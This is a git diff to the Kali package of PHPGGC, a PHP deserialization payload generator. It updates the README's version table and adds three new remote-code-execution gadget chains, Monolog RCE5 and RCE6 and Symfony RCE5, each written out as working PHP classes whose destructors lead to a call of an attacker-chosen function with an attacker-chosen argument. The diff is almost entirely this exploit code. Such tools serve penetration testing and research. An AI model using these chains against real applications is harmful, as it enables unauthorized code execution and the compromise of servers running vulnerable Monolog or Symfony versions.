diff --git a/README.md b/README.md
index 743295f..3421eb0 100644
--- a/README.md
+++ b/README.md
@@ -41,10 +41,12 @@
 Laravel/RCE7                              ? <= 8.16.1                     RCE (Function call)    __destruct     *    
 Magento/FW1                               ? <= 1.9.4.0                    File write             __destruct     *    
 Magento/SQLI1                             ? <= 1.9.4.0                    SQL injection          __destruct          
-Monolog/RCE1                              1.18 <= 2.1.1+                  RCE (Function call)    __destruct          
-Monolog/RCE2                              1.5 <= 2.1.1+                   RCE (Function call)    __destruct          
-Monolog/RCE3                              1.1.0 <= 1.10.0                 RCE (Function call)    __destruct          
+Monolog/RCE1                              1.4.1<=1.6.1 & 1.17.2<=2.2.0+   RCE (Function call)    __destruct          
+Monolog/RCE2                              1.4.1 <= 2.2.0+                 RCE (Function call)    __destruct          
+Monolog/RCE3                              1.0.2 <= 1.10.0                 RCE (Function call)    __destruct          
 Monolog/RCE4                              ? <= 2.4.4+                     RCE (Command)          __destruct     *    
+Monolog/RCE5                              1.25 <= 2.2.0+                  RCE (Function call)    __destruct     *    
+Monolog/RCE6                              1.10.0 <= 2.2.0+                RCE (Function call)    __destruct     *    
 Phalcon/RCE1                              <= 1.2.2                        RCE                    __wakeup       *    
 PHPCSFixer/FD1                            <= 2.17.3                       File delete            __destruct          
 PHPCSFixer/FD2                            <= 2.17.3                       File delete            __destruct          
@@ -67,6 +69,7 @@
 Symfony/RCE2                              2.3.42 < 2.6                    RCE (PHP code)         __destruct     *    
 Symfony/RCE3                              2.6 <= 2.8.32                   RCE (PHP code)         __destruct     *    
 Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7     RCE (Function call)    __destruct     *    
+Symfony/RCE5                              5.2.*                           RCE (Function call)    __destruct
 TCPDF/FD1                                 <= 6.3.5                        File delete            __destruct     *    
 ThinkPHP/RCE1                             5.1.x-5.2.x                     RCE (Function call)    __destruct     *    
 WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
diff --git a/debian/changelog b/debian/changelog
index 60174cc..0a82c1a 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -1,3 +1,9 @@
+phpggc (0.20210506-0kali1) UNRELEASED; urgency=low
+
+  * New upstream release.
+
+ -- Kali Janitor <janitor@kali.org>  Fri, 14 May 2021 15:29:16 -0000
+
 phpggc (0.20210218-0kali1) kali-dev; urgency=medium
 
   * Configure debian/watch to track git master
diff --git a/gadgetchains/Monolog/RCE/5/chain.php b/gadgetchains/Monolog/RCE/5/chain.php
new file mode 100644
index 0000000..41341a0
--- /dev/null
+++ b/gadgetchains/Monolog/RCE/5/chain.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace GadgetChain\Monolog;
+
+class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '1.25 <= 2.2.0+';
+    public static $vector = '__destruct';
+    public static $author = 'mayfly';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+        return new \Monolog\Handler\FingersCrossedHandler($parameter,
+            new \Monolog\Handler\GroupHandler($function)
+        );
+    }
+}
diff --git a/gadgetchains/Monolog/RCE/5/gadgets.php b/gadgetchains/Monolog/RCE/5/gadgets.php
new file mode 100644
index 0000000..7ea1fdc
--- /dev/null
+++ b/gadgetchains/Monolog/RCE/5/gadgets.php
@@ -0,0 +1,30 @@
+<?php
+
+namespace Monolog\Handler 
+{
+    // killchain :  
+    // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
+    
+    class FingersCrossedHandler {
+      protected $passthruLevel;
+      protected $buffer = array();
+      protected $handler;
+    
+     public function __construct($param, $handler)
+     {
+         $this->passthruLevel = 0;
+         $this->buffer = ['test' => [$param, 'level' => null]];
+         $this->handler = $handler;
+     }
+    
+    }
+    
+    class GroupHandler {
+      protected $processors = array();
+      public function __construct($function)
+      {
+         $this->processors = ['current', $function];
+      }
+    
+    }
+}
diff --git a/gadgetchains/Monolog/RCE/6/chain.php b/gadgetchains/Monolog/RCE/6/chain.php
new file mode 100644
index 0000000..2b8baa7
--- /dev/null
+++ b/gadgetchains/Monolog/RCE/6/chain.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace GadgetChain\Monolog;
+
+class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '1.10.0 <= 2.2.0+';
+    public static $vector = '__destruct';
+    public static $author = 'mayfly';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+        return new \Monolog\Handler\FingersCrossedHandler($parameter,
+            new \Monolog\Handler\BufferHandler($function)
+        );
+    }
+}
diff --git a/gadgetchains/Monolog/RCE/6/gadgets.php b/gadgetchains/Monolog/RCE/6/gadgets.php
new file mode 100644
index 0000000..67e9103
--- /dev/null
+++ b/gadgetchains/Monolog/RCE/6/gadgets.php
@@ -0,0 +1,40 @@
+<?php
+
+namespace Monolog\Handler 
+{
+    // killchain :  
+    // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
+    
+    class FingersCrossedHandler {
+      protected $passthruLevel;
+      protected $buffer = array();
+      protected $handler;
+    
+     public function __construct($param, $handler)
+     {
+         $this->passthruLevel = 0;
+         $this->buffer = ['test' => [$param, 'level' => null]];
+         $this->handler = $handler;
+     }
+    
+    }
+
+    class BufferHandler
+    {
+        protected $handler;
+        protected $bufferSize = -1;
+        protected $buffer;
+        # ($record['level'] < $this->level) == false
+        protected $level = null;
+        protected $initialized = true;
+        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
+        protected $bufferLimit = -1;
+        protected $processors;
+
+        function __construct($function)
+        {
+            $this->processors = ['current', $function];
+        }
+    }
+
+}
diff --git a/gadgetchains/Symfony/RCE/5/chain.php b/gadgetchains/Symfony/RCE/5/chain.php
new file mode 100644
index 0000000..ace0f5f
--- /dev/null
+++ b/gadgetchains/Symfony/RCE/5/chain.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace GadgetChain\Symfony;
+
+class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '5.2.*';
+    public static $vector = '__destruct';
+    public static $author = 'byc_404';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+
+        return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter);
+    }
+}
\ No newline at end of file
diff --git a/gadgetchains/Symfony/RCE/5/gadgets.php b/gadgetchains/Symfony/RCE/5/gadgets.php
new file mode 100644
index 0000000..f96de74
--- /dev/null
+++ b/gadgetchains/Symfony/RCE/5/gadgets.php
@@ -0,0 +1,118 @@
+<?php
+
+namespace Symfony\Component\Cache\Adapter
+{
+    class ProxyAdapter
+    {
+        private $createCacheItem;
+        private $namespace;
+        private $pool;
+
+        public function __construct($createCacheItem, $pool)
+        {
+            $this->createCacheItem = $createCacheItem;
+            $this->pool = $pool;
+            $this->namespace = '';
+        }
+    }
+
+
+    class NullAdapter
+    {
+        private $createCacheItem;
+
+        public function __construct($createCacheItem)
+        {
+            $this->createCacheItem = $createCacheItem;
+        }
+    }
+}
+
+namespace Symfony\Component\Console\Helper
+{
+    class Dumper
+    {
+        private $handler;
+
+        public function __construct($handler)
+        {
+            $this->handler = $handler;
+        }
+    }
+}
+
+
+namespace Symfony\Component\Cache\Traits
+{
+    class RedisProxy
+    {
+        private $redis;
+        private $initializer;
+
+        public function __construct($initializer, $redis)
+        {
+            $this->initializer = $initializer;
+            $this->redis = $redis;
+        }
+    }
+}
+
+namespace Symfony\Component\Form
+{
+
+    class FormErrorIterator
+    {
+        public $form;
+        private $errors;
+
+        function __construct($errors, $form)
+        {
+            $this->errors = $errors;
+            $this->form = $form;
+        }
+    }
+}
+
+
+namespace Symfony\Component\HttpKernel\DataCollector
+{
+    class DumpDataCollector
+    {
+        protected $data;
+        private $stopwatch;
+        private $fileLinkFormat;
+        private $dataCount = 0;
+        private $isCollected = false;
+        private $clonesCount = 0;
+        private $clonesIndex = 0;
+
+        public function __construct($function, $command)
+        {
+            $this->data = [
+                [
+                    "data" => "1",
+                    "name" => new \Symfony\Component\Form\FormErrorIterator([
+                        new \Symfony\Component\Form\FormErrorIterator(
+                            [], 
+                            new \Symfony\Component\Cache\Traits\RedisProxy(
+                                new \Symfony\Component\Console\Helper\Dumper([
+                                    new \Symfony\Component\Cache\Adapter\ProxyAdapter(
+                                        'dd', // exit function
+                                        new \Symfony\Component\Cache\Adapter\NullAdapter($function)
+                                    ),
+                                    "getItem"
+                                ]),
+                                $command
+                            )
+                        )],
+                        null
+                    ),
+                    "file" => "3",
+                    "line" => "4"
+                ],
+                null,
+                null
+            ];
+        }
+    }
+}